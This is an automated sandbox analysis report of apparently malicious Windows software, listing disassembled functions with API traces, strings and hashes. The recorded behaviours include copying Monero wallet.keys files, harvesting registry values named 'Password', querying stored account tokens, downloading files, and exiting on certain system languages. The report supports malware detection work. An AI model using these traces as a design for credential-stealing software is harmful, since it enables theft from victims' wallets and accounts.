Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 9ffbbcdf58be0babce4a6bd320f682b6c100971de00e354eaac46fe8e8bd5e10
Instruction ID: f6d242e1193becf268423d4bd7c7490d5340775c5db3bfb300988d5adedf842c
Opcode Fuzzy Hash: 9ffbbcdf58be0babce4a6bd320f682b6c100971de00e354eaac46fe8e8bd5e10
Instruction Fuzzy Hash: 5B717AB6A00218A7CB14EBA0EC95FEE77B9BB48300F045598F605B7181EA35DB45CF91

Function 00E11310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E112A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E112B4
Part of subcall function 00E112A0: RtlAllocateHeap.NTDLL(00000000), ref: 00E112BB
Part of subcall function 00E112A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00E112D7
Part of subcall function 00E112A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00E112F5
Part of subcall function 00E112A0: RegCloseKey.ADVAPI32(?), ref: 00E112FF

lstrcat.KERNEL32(?,00000000), ref: 00E1134F
lstrlen.KERNEL32(?), ref: 00E1135C
lstrcat.KERNEL32(?,.keys), ref: 00E11377

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

Part of subcall function 00E28B60: GetSystemTime.KERNEL32(00E30E1A,008FA028,00E305AE,?,?,00E113F9,?,0000001A,00E30E1A,00000000,?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E28B86

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00E11465

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

Part of subcall function 00E199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E199EC
Part of subcall function 00E199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E19A11
Part of subcall function 00E199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E19A31
Part of subcall function 00E199C0: ReadFile.KERNEL32(000000FF,?,00000000,00E1148F,00000000), ref: 00E19A5A
Part of subcall function 00E199C0: LocalFree.KERNEL32(00E1148F), ref: 00E19A90
Part of subcall function 00E199C0: CloseHandle.KERNEL32(000000FF), ref: 00E19A9A

DeleteFileA.KERNEL32(00000000), ref: 00E114EF

Strings

\Monero\wallet.keys, xrefs: 00E1138D
.keys, xrefs: 00E1136B
SOFTWARE\monero-project\monero-core, xrefs: 00E11335
wallet_path, xrefs: 00E11330

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 0abcefdd94f86666a9c0488cfff2d81ff07b91eb8a9c932a9b4fcad007058736
Instruction ID: 307adc5c298cd9556b9283278789bc496ae751547bf5f8c77bcc3577baf32f39
Opcode Fuzzy Hash: 0abcefdd94f86666a9c0488cfff2d81ff07b91eb8a9c932a9b4fcad007058736
Instruction Fuzzy Hash: 045167B295022897CB19EB60EC96FED73BCAF54300F4451A8B20A72081EE745B85CB95

Function 00E175D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E172D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00E1733A
Part of subcall function 00E172D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00E173B1
Part of subcall function 00E172D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00E1740D
Part of subcall function 00E172D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00E17452
Part of subcall function 00E172D0: HeapFree.KERNEL32(00000000), ref: 00E17459

lstrcat.KERNEL32(00000000,00E317FC), ref: 00E17606
lstrcat.KERNEL32(00000000,00000000), ref: 00E17648
lstrcat.KERNEL32(00000000, : ), ref: 00E1765A
lstrcat.KERNEL32(00000000,00000000), ref: 00E1768F
lstrcat.KERNEL32(00000000,00E31804), ref: 00E176A0
lstrcat.KERNEL32(00000000,00000000), ref: 00E176D3
lstrcat.KERNEL32(00000000,00E31808), ref: 00E176ED
task.LIBCPMTD ref: 00E176FB

Strings

: , xrefs: 00E1764E

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: b8f943c8710209623d71c336c71ec7195b15901cc714d8803261cd1237093fed
Instruction ID: e8ce25d98c216f9f9cfc17dd32c7cf35da28ae87cafb84d753492d1bbb2fc54b
Opcode Fuzzy Hash: b8f943c8710209623d71c336c71ec7195b15901cc714d8803261cd1237093fed
Instruction Fuzzy Hash: 78311072A01209EBCB18EBA4DD59DFF77B5FB48301F205258F142B7185DA39A986CB60

Function 00E28100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,008FD838,00000000,?,00E30E2C,00000000,?,00000000), ref: 00E28130
RtlAllocateHeap.NTDLL(00000000), ref: 00E28137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00E28158
__aulldiv.LIBCMT ref: 00E28172
__aulldiv.LIBCMT ref: 00E28180
wsprintfA.USER32 ref: 00E281AC

Strings

@, xrefs: 00E2814D
%d MB, xrefs: 00E281A3

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: da8627227f00f4c64a9fb39256138f45ab6cd7bb2bbb4bb04b45371a54e4363c
Instruction ID: 1b85e091f4552492de57ab23c969a3c62b3bc1f6238f53279e7e259ed7a3ac48
Opcode Fuzzy Hash: da8627227f00f4c64a9fb39256138f45ab6cd7bb2bbb4bb04b45371a54e4363c
Instruction Fuzzy Hash: 232118B1A44318ABDB10DB94DD4AFAEB7B8FB44B10F204209F605BB284C77969018BA4

Function 00E160A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

Part of subcall function 00E147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E14839
Part of subcall function 00E147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E14849

InternetOpenA.WININET(00E30DF7,00000001,00000000,00000000,00000000), ref: 00E1610F
StrCmpCA.SHLWAPI(?,008FE5C0), ref: 00E16147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00E1618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00E161B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00E161DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00E1620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00E16249
InternetCloseHandle.WININET(?), ref: 00E16253
InternetCloseHandle.WININET(00000000), ref: 00E16260

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 82eeb2f6910cf10002ebb75f90b966fbfcef057d9aa5e9d9044ee91e58580cfa
Instruction ID: cc0f261f9bb0413e117cd40f51acb9785791b15ffa220c8d0115bf032ba93a92
Opcode Fuzzy Hash: 82eeb2f6910cf10002ebb75f90b966fbfcef057d9aa5e9d9044ee91e58580cfa
Instruction Fuzzy Hash: 5C518FB1A00218ABDB24DF60DC49BEE77B8FB44305F109198F606B71C0DB756A85CF95

Function 00E172D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00E1733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00E173B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00E1740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00E17452
HeapFree.KERNEL32(00000000), ref: 00E17459
task.LIBCPMTD ref: 00E17555

Strings

Password, xrefs: 00E17401

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 1d7897bb8bcdc267d44d18b5be600af4cd1b14e3a2a6fd163fb7d014ac4a99bc
Instruction ID: b45daa58e5f169c6348de22044ad18db58a6a98b8691e2a57408c1d33e5496b5
Opcode Fuzzy Hash: 1d7897bb8bcdc267d44d18b5be600af4cd1b14e3a2a6fd163fb7d014ac4a99bc
Instruction Fuzzy Hash: F7615AB190422C9BDB24DB50DC55BDAB7B8BF48300F0091E9E689B6141EBB45BC9CFA0

Function 00E1BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

lstrlen.KERNEL32(00000000), ref: 00E1BC9F

Part of subcall function 00E28E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E28E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00E1BCCD
lstrlen.KERNEL32(00000000), ref: 00E1BDA5
lstrlen.KERNEL32(00000000), ref: 00E1BDB9

Strings

AccountTokens, xrefs: 00E1BB49
AccountTokens, xrefs: 00E1BABA
AccountId, xrefs: 00E1BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 00E1BBEB

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 1f917873df8afd23127a20f2b06ce4aef952e3acee34190ec46b2441a749d316
Instruction ID: b2c3325a258eeddad25c9e29a36dce6a1dc265df20d318e88acb9b1179fee875
Opcode Fuzzy Hash: 1f917873df8afd23127a20f2b06ce4aef952e3acee34190ec46b2441a749d316
Instruction Fuzzy Hash: 3AB153729102189BDB18FBA0EC56EEE77B8BF54300F445568F507B3091EF746A49CB62

Function 00E26770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00E26774
ExitProcess.KERNEL32 ref: 00E267A5
ExitProcess.KERNEL32 ref: 00E267AF
ExitProcess.KERNEL32 ref: 00E267B9
ExitProcess.KERNEL32 ref: 00E267C3
ExitProcess.KERNEL32 ref: 00E267CD

Strings

*, xrefs: 00E2678C

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 146ce5db9ec14bfd663569a0b1cd31584288843517992e28d03142ce0c781a17
Instruction ID: b20d92096478ec0ecc27a9a3eda3effcd02d1a40e006ca66d6fdc3c0692dfa41
Opcode Fuzzy Hash: 146ce5db9ec14bfd663569a0b1cd31584288843517992e28d03142ce0c781a17
Instruction Fuzzy Hash: 7AF05E30A0431DEFD3649FE0E90972D7F70FB04707F040399E64A97284D67A4B419B95

Function 00E14FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00E14FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00E14FD1
InternetOpenA.WININET(00E30DDF,00000000,00000000,00000000,00000000), ref: 00E14FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00E15011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00E15041
InternetCloseHandle.WININET(?), ref: 00E150B9
InternetCloseHandle.WININET(?), ref: 00E150C6

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: a20490bcbd01ef0aa39e5e8f3c46720006d3124c603f4c011f5f2e65f939a312
Instruction ID: 7e94c0e3cb6b6338a426e1a7a2d01f93bbbf3b43834890459baf24f44d0a19c9
Opcode Fuzzy Hash: a20490bcbd01ef0aa39e5e8f3c46720006d3124c603f4c011f5f2e65f939a312
Instruction Fuzzy Hash: 9231F2B5A00218EBDB20CF94DC85BD9B7B4FB48704F1081D9AA0AA7281C7746EC58F98

Function 00E283DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00E28426
wsprintfA.USER32 ref: 00E28459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00E2847B
RegCloseKey.ADVAPI32(00000000), ref: 00E2848C
RegCloseKey.ADVAPI32(00000000), ref: 00E28499

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

RegQueryValueExA.ADVAPI32(00000000,008FDA48,00000000,000F003F,?,00000400), ref: 00E284EC
lstrlen.KERNEL32(?), ref: 00E28501
RegQueryValueExA.ADVAPI32(00000000,008FD850,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00E30B34), ref: 00E28599
RegCloseKey.ADVAPI32(00000000), ref: 00E28608
RegCloseKey.ADVAPI32(00000000), ref: 00E2861A

Strings

%s\%s, xrefs: 00E2844D

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
